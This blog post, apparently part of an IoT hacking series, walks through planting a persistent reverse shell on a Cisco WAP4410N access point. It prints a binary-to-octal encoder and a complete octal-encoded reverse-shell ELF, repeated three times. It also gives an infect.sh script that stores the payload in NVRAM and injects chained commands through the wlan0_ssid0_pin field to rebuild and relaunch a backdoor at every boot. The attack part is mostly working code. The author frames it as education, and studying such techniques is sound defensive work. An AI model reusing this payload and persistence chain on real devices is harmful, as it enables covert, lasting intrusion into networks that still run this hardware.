At first I tried going down the Base64 route, writing a decoder in pure shell. It worked, but the decoder itself quickly grew into a monster, bigger than the actual payload it was meant to reconstruct. Not exactly efficient, and certainly not something you want to shove into NVRAM.

So I switched gears and went with something simpler: a straight character encoder. The first attempt was with \xHH hex escapes, but then I realized the BusyBox sh on this box doesn’t have a working printf. Dead end.

In the end I landed on a cleaner solution: octal escapes. With a few lines of Python I built an encoder that converts any binary into a stream of \ooo octal bytes. That way the target can rebuild the binary with nothing more than echo -ne, which is available even in this stripped-down environment.

Here’s the encoder:

#!/usr/bin/env python3
import sys

def bin_to_octesc(path):
    with open(path, "rb") as f:
        data = f.read()
    return ''.join(f'\\{b:03o}' for b in data)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <binary_file>", file=sys.stderr)
        sys.exit(1)

    infile = sys.argv[1]
    print(bin_to_octesc(infile))

Running it against a binary produces output like this:

root@f1dbed10da14:/tmp# python3 encoder.py ../shell
\177\105\114\106\001\002\001\000\000\000\000\000\000\000\000\000\000\002\000\010\000\000\000\001\000\100\000\220\000\000\000\064\000\000\001\220\120\000\020\006\000\064\000\040\000\002\000\050\000\005\000\004\160\000\000\003\000\000\000\170\000\100\000\170\000\100\000\170\000\000\000\030\000\000\000\030\000\000\000\004\000\000\000\010\000\000\000\001\000\000\000\000\000\100\000\000\000\100\000\000\000\000\001\120\000\000\001\120\000\000\000\005\000\001\000\000\000\000\000\000\000\000\040\001\001\000\000\003\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000\044\004\000\002\044\005\000\002\044\006\000\000\044\002\020\127\000\000\000\014\000\100\200\045\044\010\000\002\247\250\377\364\044\010\005\071\247\250\377\366\074\010\300\250\065\010\001\343\257\250\377\370\002\000\040\045\047\245\377\364\044\006\000\020\044\002\020\112\000\000\000\014\002\000\040\045\044\005\000\000\044\002\017\337\000\000\000\014\002\000\040\045\044\005\000\001\044\002\017\337\000\000\000\014\002\000\040\045\044\005\000\002\044\002\017\337\000\000\000\014\047\275\377\360\074\010\057\142\065\010\151\156\257\250\000\010\074\010\057\163\065\010\150\000\257\250\000\014\047\244\000\010\257\244\000\000\257\240\000\004\003\240\050\045\000\000\060\045\044\002\017\253\000\000\000\014\000\000\040\045\044\002\017\241\000\000\000\014\000\000\000\000\101\000\000\000\017\147\156\165\000\001\000\000\000\007\004\003\000\056\163\150\163\164\162\164\141\142\000\056\115\111\120\123\056\141\142\151\146\154\141\147\163\000\056\164\145\170\164\000\056\147\156\165\056\141\164\164\162\151\142\165\164\145\163\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\013\160\000\000\052\000\000\000\002\000\100\000\170\000\000\000\170\000\000\000\030\000\000\000\000\000\000\000\000\000\000\000\010\000\000\000\030\000\000\000\032\000\000\000\001\000\000\000\006\000\100\000\220\000\000\000\220\000\000\000\300\000\000\000\000\000\000\000\000\000\000\000\020\000\000\000\000\000\000\000\040\157\377\377\365\000\000\000\000\000\000\000\000\000\000\001\120\000\000\000\020\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000\000\000\000\001\000\000\000\003\000\000\000\000\000\000\000\000\000\000\001\140\000\000\000\060\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000

That string is just an octal-escaped version of the ELF file. To recreate the original binary on the target, all it takes is:

echo -ne '\177\105\114\106\001\002\001\000\000\000\000\000\000\000\000\000\000\002\000\010\000\000\000\001\000\100\000\220\000\000\000\064\000\000\001\220\120\000\020\006\000\064\000\040\000\002\000\050\000\005\000\004\160\000\000\003\000\000\000\170\000\100\000\170\000\100\000\170\000\000\000\030\000\000\000\030\000\000\000\004\000\000\000\010\000\000\000\001\000\000\000\000\000\100\000\000\000\100\000\000\000\000\001\120\000\000\001\120\000\000\000\005\000\001\000\000\000\000\000\000\000\000\040\001\001\000\000\003\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000\044\004\000\002\044\005\000\002\044\006\000\000\044\002\020\127\000\000\000\014\000\100\200\045\044\010\000\002\247\250\377\364\044\010\005\071\247\250\377\366\074\010\300\250\065\010\001\343\257\250\377\370\002\000\040\045\047\245\377\364\044\006\000\020\044\002\020\112\000\000\000\014\002\000\040\045\044\005\000\000\044\002\017\337\000\000\000\014\002\000\040\045\044\005\000\001\044\002\017\337\000\000\000\014\002\000\040\045\044\005\000\002\044\002\017\337\000\000\000\014\047\275\377\360\074\010\057\142\065\010\151\156\257\250\000\010\074\010\057\163\065\010\150\000\257\250\000\014\047\244\000\010\257\244\000\000\257\240\000\004\003\240\050\045\000\000\060\045\044\002\017\253\000\000\000\014\000\000\040\045\044\002\017\241\000\000\000\014\000\000\000\000\101\000\000\000\017\147\156\165\000\001\000\000\000\007\004\003\000\056\163\150\163\164\162\164\141\142\000\056\115\111\120\123\056\141\142\151\146\154\141\147\163\000\056\164\145\170\164\000\056\147\156\165\056\141\164\164\162\151\142\165\164\145\163\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\013\160\000\000\052\000\000\000\002\000\100\000\170\000\000\000\170\000\000\000\030\000\000\000\000\000\000\000\000\000\000\000\010\000\000\000\030\000\000\000\032\000\000\000\001\000\000\000\006\000\100\000\220\000\000\000\220\000\000\000\300\000\000\000\000\000\000\000\000\000\000\000\020\000\000\000\000\000\000\000\040\157\377\377\365\000\000\000\000\000\000\000\000\000\000\001\120\000\000\000\020\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000\000\000\000\001\000\000\000\003\000\000\000\000\000\000\000\000\000\000\001\140\000\000\000\060\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000
' > /tmp/shell; chmod +x /tmp/shell

And just like that, we’re back to a proper ELF executable, rebuilt entirely with echo and a few octal escapes. With this approach we can safely stash our payload in NVRAM and inject it into rc at boot. But having a payload is only half the job. We also want it to persist. If the binary crashes, the network drops, we’d lose our foothold and have to wait for the next reboot. To handle that, we wrap the payload in a tiny service script that just keeps restarting it:

#!/bin/bash
while true; do
    sleep 60
    /tmp/shell
done

With the encoder in place and a service like launcher, the final step is to wrap everything into a single infection script. The idea is simple: we stash our octal-escaped payload into NVRAM under a variable (here I used revshell), then hijack the wlan0_ssid0_pin injection point to pull it back out, rebuild it on disk, and set up a small loop to keep it alive.

A minimal script for that looks like this:

#!/bin/sh
nvram set revshell="echo -ne '\177\105\114\106\001\002\001\000\000\000\000\000\000\000\000\000\000\002\000\010\000\000\000\001\000\100\000\220\000\000\000\064\000\000\001\220\120\000\020\006\000\064\000\040\000\002\000\050\000\005\000\004\160\000\000\003\000\000\000\170\000\100\000\170\000\100\000\170\000\000\000\030\000\000\000\030\000\000\000\004\000\000\000\010\000\000\000\001\000\000\000\000\000\100\000\000\000\100\000\000\000\000\001\120\000\000\001\120\000\000\000\005\000\001\000\000\000\000\000\000\000\000\040\001\001\000\000\003\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000\044\004\000\002\044\005\000\002\044\006\000\000\044\002\020\127\000\000\000\014\000\100\200\045\044\010\000\002\247\250\377\364\044\010\005\071\247\250\377\366\074\010\300\250\065\010\001\343\257\250\377\370\002\000\040\045\047\245\377\364\044\006\000\020\044\002\020\112\000\000\000\014\002\000\040\045\044\005\000\000\044\002\017\337\000\000\000\014\002\000\040\045\044\005\000\001\044\002\017\337\000\000\000\014\002\000\040\045\044\005\000\002\044\002\017\337\000\000\000\014\047\275\377\360\074\010\057\142\065\010\151\156\257\250\000\010\074\010\057\163\065\010\150\000\257\250\000\014\047\244\000\010\257\244\000\000\257\240\000\004\003\240\050\045\000\000\060\045\044\002\017\253\000\000\000\014\000\000\040\045\044\002\017\241\000\000\000\014\000\000\000\000\101\000\000\000\017\147\156\165\000\001\000\000\000\007\004\003\000\056\163\150\163\164\162\164\141\142\000\056\115\111\120\123\056\141\142\151\146\154\141\147\163\000\056\164\145\170\164\000\056\147\156\165\056\141\164\164\162\151\142\165\164\145\163\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\013\160\000\000\052\000\000\000\002\000\100\000\170\000\000\000\170\000\000\000\030\000\000\000\000\000\000\000\000\000\000\000\010\000\000\000\030\000\000\000\032\000\000\000\001\000\000\000\006\000\100\000\220\000\000\000\220\000\000\000\300\000\000\000\000\000\000\000\000\000\000\000\020\000\000\000\000\000\000\000\040\157\377\377\365\000\000\000\000\000\000\000\000\000\000\001\120\000\000\000\020\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000\000\000\000\001\000\000\000\003\000\000\000\000\000\000\000\000\000\000\001\140\000\000\000\060\000\000\000\000\000\000\000\000\000\000\000\001\000\000\000\000'>/tmp/revshell"
nvram set wlan0_ssid0_pin=";nvram get revshell | sed 's/^name=//' | sh;chmod +x /tmp/revshell;echo 'while :; do sleep 60; /tmp/revshell; done'>/tmp/backdoor.sh;chmod +x /tmp/backdoor.sh;echo 17458399>/var/wps_pin;/tmp/backdoor.sh &"
nvram commit
reboot

Why didn’t I just cram everything into the injection point at once and skip the extra revshell variable in NVRAM? Well, I tried that at first—but it didn’t work. My guess is there’s a limit on how long the payload can be when passed through SYSTEM, whether due to memory allocation or some other constraint. As soon as I split things up and stored the encoded reverse shell in its own variable, it started working reliably.

I saved the final script as infect.sh, pushed it to the box over FTP, marked it executable, and ran it:

[VAP0 @ wap88a74c]# ftpget -u f1rstr3am -p password 192.168.1.227 infect.sh infect.sh
[VAP0 @ wap88a74c]# chmod +x infect.sh 
[VAP0 @ wap88a74c]# ./infect.sh 
ap_name=mdns,action=stop
Connection to 192.168.1.112 closed by remote host.
Connection to 192.168.1.112 closed.

At that point, the device reboots with our changes committed to NVRAM. If everything worked, within about a minute of setting up a netcat listener we should see the box calling home—our reverse shell running persistently.

And just like that, it works. Every minute the infected device dials back to our waiting netcat, faithfully trying to establish a connection. With that, we’ve secured ourselves a persistent foothold on the box.

Summary

We could certainly go further, imagine a polished script that takes nothing more than an IP and port and automatically generates everything needed to infect the device. But that’s not what this series is about. This isn’t a malware factory, it’s an educational walk-through showing how attackers could operate. A real adversary would take things much further: hiding their binaries, disguising traffic as HTTP, and generally doing everything possible to stay invisible.

For our purposes, the point is made. The WAP4410N is an old box, long past end-of-life, and Cisco no longer supports it. But does that mean no one is still using them? Unlikely. In many organizations where IT isn’t the core focus, gear that “just works” often sticks around far longer than it should.

Would this still be possible on a newer device? Hopefully not, or at least not this easily. I expect we’ll have a chance to explore that in future posts. The reason for picking an older target was precisely because it would be vulnerable enough to demonstrate the process clearly, and I think we’ve succeeded in showing what’s possible.

As for a part three in this IoT hacking series? Time will tell. I do suspect there are more vulnerabilities hiding in the WAP4410N. One intriguing avenue would be to see if it’s possible to get back inside the box even after the admin password or PSK has been changed. If that research pans out, you might just see one final installment before we move on to more modern hardware.

Until the next time, happy hacking!

/f1rstr3am

Christian

HTB THM